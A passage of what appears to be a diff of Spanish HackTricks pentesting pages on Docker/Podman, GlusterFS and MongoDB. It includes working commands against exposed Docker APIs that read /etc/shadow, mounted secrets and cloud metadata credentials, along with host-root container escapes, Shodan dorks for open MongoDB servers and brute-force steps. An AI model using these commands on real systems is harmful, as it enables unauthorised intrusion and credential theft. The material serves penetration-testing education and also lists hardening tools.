ctr task pause <containerName> #Stop container
|
||||
ctr tasks resume <containerName> #Resume cotainer
|
||||
ctr task kill -s SIGKILL <containerName> #Stop running container
|
||||
ctr container delete <containerName>
|
||||
```
|
||||
### Podman
|
||||
|
||||
**Información** [**de aquí**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
|
||||
Podman es un motor de contenedores de código abierto compatible con OCI ([Open Container Initiative](https://github.com/opencontainers)). Es impulsado por Red Hat e incorpora algunas diferencias importantes con Docker, como su arquitectura sin daemon y el soporte para contenedores sin root. En su núcleo, **ambas herramientas hacen lo mismo: gestionar imágenes y contenedores**. Uno de **los objetivos de Podman es tener una API compatible con Docker**. Por lo tanto, casi todos los comandos de la CLI (interfaz de línea de comandos) de Docker también están disponibles en Podman.
|
||||
|
||||
Puede encontrar otras dos herramientas en el ecosistema de Podman: Buildah y Skopeo. Buildah es una herramienta de CLI utilizada para construir imágenes de contenedores, y Skopeo es una herramienta de CLI para ejecutar operaciones en imágenes, como push, pull o inspect. [Por favor, consulte GitHub](https://github.com/containers/buildah/tree/master/docs/containertools) para obtener más información sobre estas herramientas y su relación con Podman.
|
||||
|
||||
**Las principales diferencias**
|
||||
|
||||
**La mayor diferencia entre Docker y Podman es su arquitectura**. **Docker** se ejecuta en una arquitectura **cliente-servidor**, mientras que **Podman** se ejecuta en una arquitectura **sin daemon**. Pero, ¿qué significa eso? Al trabajar con **Docker**, debe usar la CLI de Docker, que se comunica con un **daemon en segundo plano** (el daemon de Docker). La lógica principal reside en el daemon, que construye imágenes y ejecuta contenedores. Este **daemon se ejecuta con privilegios de root**. La arquitectura de **Podman**, por el contrario, le permite **ejecutar los contenedores bajo el usuario que está iniciando el contenedor** (fork/exec), y este usuario no necesita ningún privilegio de root. Debido a que **Podman tiene una arquitectura sin daemon, cada usuario que ejecuta Podman solo puede ver y modificar sus propios contenedores**. No hay un daemon común con el que la herramienta CLI se comunique.
|
||||
|
||||
Dado que Podman no tiene un daemon, necesita una forma de admitir la ejecución de contenedores en segundo plano. Por lo tanto, proporciona una integración con **systemd**, que permite controlar los contenedores a través de unidades de systemd. Dependiendo de la versión de Podman, puede generar estas unidades para contenedores existentes o generar unidades que puedan crear contenedores si no existen en el sistema. Hay otro modelo de integración con systemd, que permite que systemd se ejecute dentro de un contenedor. Por defecto, Docker utiliza systemd para controlar el proceso del daemon.
|
||||
|
||||
La segunda diferencia importante se refiere a cómo se ejecutan los contenedores. Con **Podman**, **los contenedores se ejecutan con los privilegios del usuario y no con los del daemon**. En este punto, entra en juego el concepto de contenedores sin root, lo que significa que el contenedor se puede iniciar sin privilegios de root. Los contenedores sin root tienen una gran ventaja sobre los contenedores con root ya que (lo adivinó) no se ejecutan bajo la cuenta de root. El beneficio de esto es que si un atacante es capaz de capturar y escapar de un contenedor, este atacante sigue siendo un usuario normal en el host. Los contenedores que son iniciados por un usuario no pueden tener más privilegios o capacidades que el propio usuario. Esto agrega una capa de protección natural.
|
||||
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que como Podman tiene como objetivo admitir la misma API que Docker, puede usar los mismos comandos con Podman que con Docker, como:
|
||||
```bash
|
||||
podman --version
|
||||
podman info
|
||||
pdoman images ls
|
||||
podman ls
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
## Información básica
|
||||
|
||||
El API remoto se ejecuta por defecto en el puerto 2375 cuando está habilitado. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de docker privilegiado. Al utilizar el API remoto, se pueden adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.
|
||||
|
||||
**Puerto por defecto:** 2375
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
2375/tcp open docker
|
||||
```
|
||||
## Enumeración
|
||||
|
||||
### Manual
|
||||
|
||||
Tenga en cuenta que para enumerar la API de Docker, puede utilizar el comando `docker` o `curl` como en el siguiente ejemplo:
|
||||
```bash
|
||||
#Using curl
|
||||
curl -s http://open.docker.socket:2375/version | jq #Get version
|
||||
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
|
||||
|
||||
#Using docker
|
||||
docker -H open.docker.socket:2375 version #Get version
|
||||
Client: Docker Engine - Community
|
||||
Version: 19.03.1
|
||||
API version: 1.40
|
||||
Go version: go1.12.5
|
||||
Git commit: 74b1e89
|
||||
Built: Thu Jul 25 21:21:05 2019
|
||||
OS/Arch: linux/amd64
|
||||
Experimental: false
|
||||
|
||||
Server: Docker Engine - Community
|
||||
Engine:
|
||||
Version: 19.03.1
|
||||
API version: 1.40 (minimum version 1.12)
|
||||
Go version: go1.12.5
|
||||
Git commit: 74b1e89
|
||||
Built: Thu Jul 25 21:19:41 2019
|
||||
OS/Arch: linux/amd64
|
||||
Experimental: false
|
||||
containerd:
|
||||
Version: 1.2.6
|
||||
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
|
||||
runc:
|
||||
Version: 1.0.0-rc8
|
||||
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
|
||||
docker-init:
|
||||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
Si puedes **contactar la API remota de Docker con el comando `docker`**, puedes **ejecutar** cualquiera de los [**comandos de Docker previamente comentados**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio.
|
||||
|
||||
{% hint style="info" %}
|
||||
Puedes `exportar DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker.
|
||||
{% endhint %}
|
||||
|
||||
#### Escalada rápida de privilegios
|
||||
```bash
|
||||
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||
```
|
||||
#### Curl
|
||||
|
||||
En ocasiones, verás que el puerto **2376** está disponible para el punto final **TLS**. No he podido conectarme a él con el cliente de Docker, pero puedes hacerlo sin problemas con curl para acceder a la API de Docker.
|
||||
```bash
|
||||
#List containers
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
#List processes inside a container
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||||
#Set up and exec job to hit the metadata URL
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
||||
#Get the output
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||||
# list secrets (no secrets/swarm not set up)
|
||||
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
|
||||
#Check what is mounted
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
|
||||
#Get the output by starting the exec
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
|
||||
#Cat the mounted secret
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
|
||||
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
|
||||
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
|
||||
#Creating a container that has mounted the host file system and read /etc/shadow
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
|
||||
#Stop the container
|
||||
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
|
||||
#Delete stopped containers
|
||||
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
|
||||
```
|
||||
Si desea obtener más información sobre esto, puede encontrarla en el sitio web donde copié los comandos: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
||||
|
||||
### Automático
|
||||
```bash
|
||||
msf> use exploit/linux/http/docker_daemon_tcp
|
||||
nmap -sV --script "docker-*" -p <PORT> <IP>
|
||||
```
|
||||
## Comprometiendo
|
||||
|
||||
En la siguiente página puedes encontrar formas de **escapar de un contenedor de Docker**:
|
||||
|
||||
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
|
||||
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Abusando de esto, es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:
|
||||
```bash
|
||||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
||||
cat /mnt/etc/shadow
|
||||
```
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
|
||||
|
||||
## Escalada de privilegios
|
||||
|
||||
Si estás dentro de un host que está utilizando Docker, puedes [**leer esta información para intentar elevar privilegios**](../linux-hardening/privilege-escalation/#writable-docker-socket).
|
||||
|
||||
## Descubriendo secretos en contenedores Docker en ejecución
|
||||
```bash
|
||||
docker ps [| grep <kubernetes_service_name>]
|
||||
docker inspect <docker_id>
|
||||
```
|
||||
Revisa la sección **env** (variables de entorno) en busca de secretos y podrías encontrar:
|
||||
|
||||
* Contraseñas.
|
||||
* IPs.
|
||||
* Puertos.
|
||||
* Rutas.
|
||||
* Otros...
|
||||
|
||||
Si deseas extraer un archivo:
|
||||
```bash
|
||||
docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
```
|
||||
## Asegurando tu Docker
|
||||
|
||||
### Asegurando la instalación y uso de Docker
|
||||
|
||||
* Puedes usar la herramienta [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) para inspeccionar tu instalación actual de Docker.
|
||||
* `./docker-bench-security.sh`
|
||||
* Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de Docker.
|
||||
* `dockscan -v unix:///var/run/docker.sock`
|
||||
* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
|
||||
* `docker run --rm -it r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
|
||||
### Asegurando las imágenes de Docker
|
||||
|
||||
* Puedes usar una imagen de Docker de [https://github.com/quay/clair](https://github.com/quay/clair) para escanear tus otras imágenes de Docker y encontrar vulnerabilidades.
|
||||
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
|
||||
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
|
||||
|
||||
### Asegurando los Dockerfiles
|
||||
|
||||
* Puedes usar la herramienta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas. A cada configuración incorrecta se le asignará un ID, puedes encontrar aquí [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) cómo solucionar cada una de ellas.
|
||||
* `dockerfilelinter -f Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (418).png>)
|
||||
|
||||
* Puedes usar la herramienta [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
|
||||
* `dockerfilelint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (419).png>)
|
||||
|
||||
* Puedes usar la herramienta [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
|
||||
* `dockerlint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (420).png>)
|
||||
|
||||
* Puedes usar la herramienta [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
|
||||
* `hadolint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (421).png>)
|
||||
|
||||
### Registrando actividad sospechosa
|
||||
|
||||
* Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamientos sospechosos en contenedores en ejecución**.
|
||||
* Observa en el siguiente fragmento cómo **Falco compila un módulo del kernel e lo inserta**. Después, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos ha detectado cómo se abrió una shell dentro de uno de los contenedores.
|
||||
```
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
* Unloading falco-probe, if present
|
||||
* Running dkms install for falco
|
||||
|
||||
Kernel preparation unnecessary for this kernel. Skipping...
|
||||
|
||||
Building module:
|
||||
cleaning build area......
|
||||
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
|
||||
cleaning build area......
|
||||
|
||||
DKMS: build completed.
|
||||
|
||||
falco-probe.ko:
|
||||
Running module version sanity check.
|
||||
modinfo: ERROR: missing module or filename.
|
||||
- Original module
|
||||
- No original module exists within this kernel
|
||||
- Installation
|
||||
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
|
||||
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
|
||||
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
|
||||
|
||||
depmod...
|
||||
|
||||
DKMS: install completed.
|
||||
* Trying to load a dkms falco-probe, if present
|
||||
falco-probe found and loaded in dkms
|
||||
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
|
||||
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
|
||||
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
|
||||
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
|
||||
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
|
||||
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
|
||||
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
|
||||
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
|
||||
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
|
||||
```
|
||||
### Monitoreo de Docker
|
||||
|
||||
Puede utilizar auditd para monitorear Docker.
|
|
@ -0,0 +1,48 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Información básica
|
||||
|
||||
**GlusterFS** es un **sistema de archivos distribuido**, escalable arbitrariamente, que agrega componentes de almacenamiento de **varios servidores en uno solo**, sistema de archivos uniforme.
|
||||
|
||||
**Puertos predeterminados**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (en adelante)\
|
||||
Para el puerto 49152, se necesitan puertos incrementados en 1 para usar más bricks. _Anteriormente se usaba el puerto 24009 en lugar de 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## Enumeración
|
||||
|
||||
Para interactuar con este sistema de archivos, es necesario instalar el [**cliente GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
|
||||
Para listar y montar los volúmenes disponibles, se puede utilizar:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
```
|
||||
Si recibes un **error al intentar montar el sistema de archivos**, puedes revisar los registros en `/var/log/glusterfs/`.
|
||||
|
||||
Los **errores que mencionan certificados** pueden ser solucionados robando los archivos (si tienes acceso al sistema):
|
||||
|
||||
* /etc/ssl/glusterfs.ca
|
||||
* /etc/ssl/glusterfs.key
|
||||
* /etc/ssl/glusterfs.ca.pem
|
||||
|
||||
Y almacenándolos en el directorio `/etc/ssl` o `/usr/lib/ssl` de tu máquina (si se utiliza un directorio diferente, revisa las líneas similares a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" en los registros).
|
143
network-services-pentesting/27017-27018-mongodb.md
Normal file
143
network-services-pentesting/27017-27018-mongodb.md
Normal file
|
@ -0,0 +1,143 @@
|
|||
# 27017,27018 - Pentesting MongoDB
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Información básica
|
||||
|
||||
MongoDB es un sistema de gestión de bases de datos (DBMS) de código abierto que utiliza un modelo de base de datos orientado a documentos que admite diversas formas de datos. (De [aquí](https://searchdatamanagement.techtarget.com/definition/MongoDB))
|
||||
|
||||
**Puerto predeterminado:** 27017, 27018
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
|
||||
```
|
||||
## Enumeración
|
||||
|
||||
### Manual
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
client = MongoClient(host, port, username=username, password=password)
|
||||
client.server_info() #Basic info
|
||||
#If you have admin access you can obtain more info
|
||||
admin = client.admin
|
||||
admin_info = admin.command("serverStatus")
|
||||
cursor = client.list_databases()
|
||||
for db in cursor:
|
||||
print(db)
|
||||
print(client[db["name"]].list_collection_names())
|
||||
#If admin access, you could dump the database also
|
||||
```
|
||||
**Algunos comandos de MongoDB:**
|
||||
|
||||
---
|
||||
|
||||
- `show dbs`: muestra las bases de datos disponibles.
|
||||
- `use <db>`: cambia a la base de datos especificada.
|
||||
- `show collections`: muestra las colecciones disponibles en la base de datos actual.
|
||||
- `db.<collection>.find()`: muestra todos los documentos de la colección especificada.
|
||||
- `db.<collection>.find(<query>)`: muestra los documentos que coinciden con la consulta especificada.
|
||||
- `db.<collection>.findOne(<query>)`: muestra el primer documento que coincide con la consulta especificada.
|
||||
- `db.<collection>.insert(<document>)`: inserta un nuevo documento en la colección especificada.
|
||||
- `db.<collection>.update(<query>, <update>)`: actualiza los documentos que coinciden con la consulta especificada.
|
||||
- `db.<collection>.remove(<query>)`: elimina los documentos que coinciden con la consulta especificada.
|
||||
```bash
|
||||
show dbs
|
||||
use <db>
|
||||
show collections
|
||||
db.<collection>.find() #Dump the collection
|
||||
db.<collection>.count() #Number of records of the collection
|
||||
db.current.find({"username":"admin"}) #Find in current db the username admin
|
||||
```
|
||||
### Automático
|
||||
```bash
|
||||
nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used
|
||||
```
|
||||
### Shodan
|
||||
|
||||
* Todos los mongodb: `"información del servidor mongodb"`
|
||||
* Buscar servidores mongodb completamente abiertos: `"información del servidor mongodb" -"parcialmente habilitado"`
|
||||
* Solo habilitar parcialmente la autenticación: `"información del servidor mongodb" "parcialmente habilitado"`
|
||||
|
||||
## Inicio de sesión
|
||||
|
||||
Por defecto, mongo no requiere contraseña.\
|
||||
**Admin** es una base de datos común de mongo.
|
||||
```bash
|
||||
mongo <HOST>
|
||||
mongo <HOST>:<PORT>
|
||||
mongo <HOST>:<PORT>/<DB>
|
||||
mongo <database> -u <username> -p '<password>'
|
||||
```
|
||||
El script de nmap: _**mongodb-brute**_ comprobará si se necesitan credenciales.
|
||||
```bash
|
||||
nmap -n -sV --script mongodb-brute -p 27017 <ip>
|
||||
```
|
||||
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#mongo)
|
||||
|
||||
Busque dentro de _/opt/bitnami/mongodb/mongodb.conf_ para saber si se necesitan credenciales:
|
||||
```bash
|
||||
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
|
||||
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
|
||||
```
|
||||
## Predicción de Mongo Objectid
|
||||
|
||||
Los IDs de objetos de Mongo son cadenas **hexadecimales de 12 bytes**:
|
||||
|
||||
![](../.gitbook/assets/id-and-objectids-in-mongodb.png)
|
||||
|
||||
Por ejemplo, así es como podemos descomponer un ID de objeto real devuelto por una aplicación: 5f2459ac9fa6dc2500314019
|
||||
|
||||
1. 5f2459ac: 1596217772 en decimal = viernes, 31 de julio de 2020 17:49:32
|
||||
2. 9fa6dc: Identificador de máquina
|
||||
3. 2500: ID de proceso
|
||||
4. 314019: Un contador incremental
|
||||
|
||||
De los elementos anteriores, el identificador de máquina permanecerá igual mientras la base de datos esté ejecutándose en la misma máquina física/virtual. El ID de proceso solo cambiará si se reinicia el proceso de MongoDB. La marca de tiempo se actualizará cada segundo. El único desafío para adivinar los IDs de objetos simplemente incrementando los valores de contador y marca de tiempo, es el hecho de que Mongo DB genera IDs de objetos y asigna IDs de objetos a nivel del sistema.
|
||||
|
||||
La herramienta [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), dada una ID de objeto de inicio (puede crear una cuenta y obtener una ID de inicio), devuelve alrededor de 1000 IDs de objeto probables que podrían haber sido asignados a los objetos siguientes, por lo que solo necesita hacer fuerza bruta.
|
||||
|
||||
## Publicación
|
||||
|
||||
Si eres root, puedes **modificar** el archivo **mongodb.conf** para que no se necesiten credenciales (_noauth = true_) y **iniciar sesión sin credenciales**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones de la comunidad
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
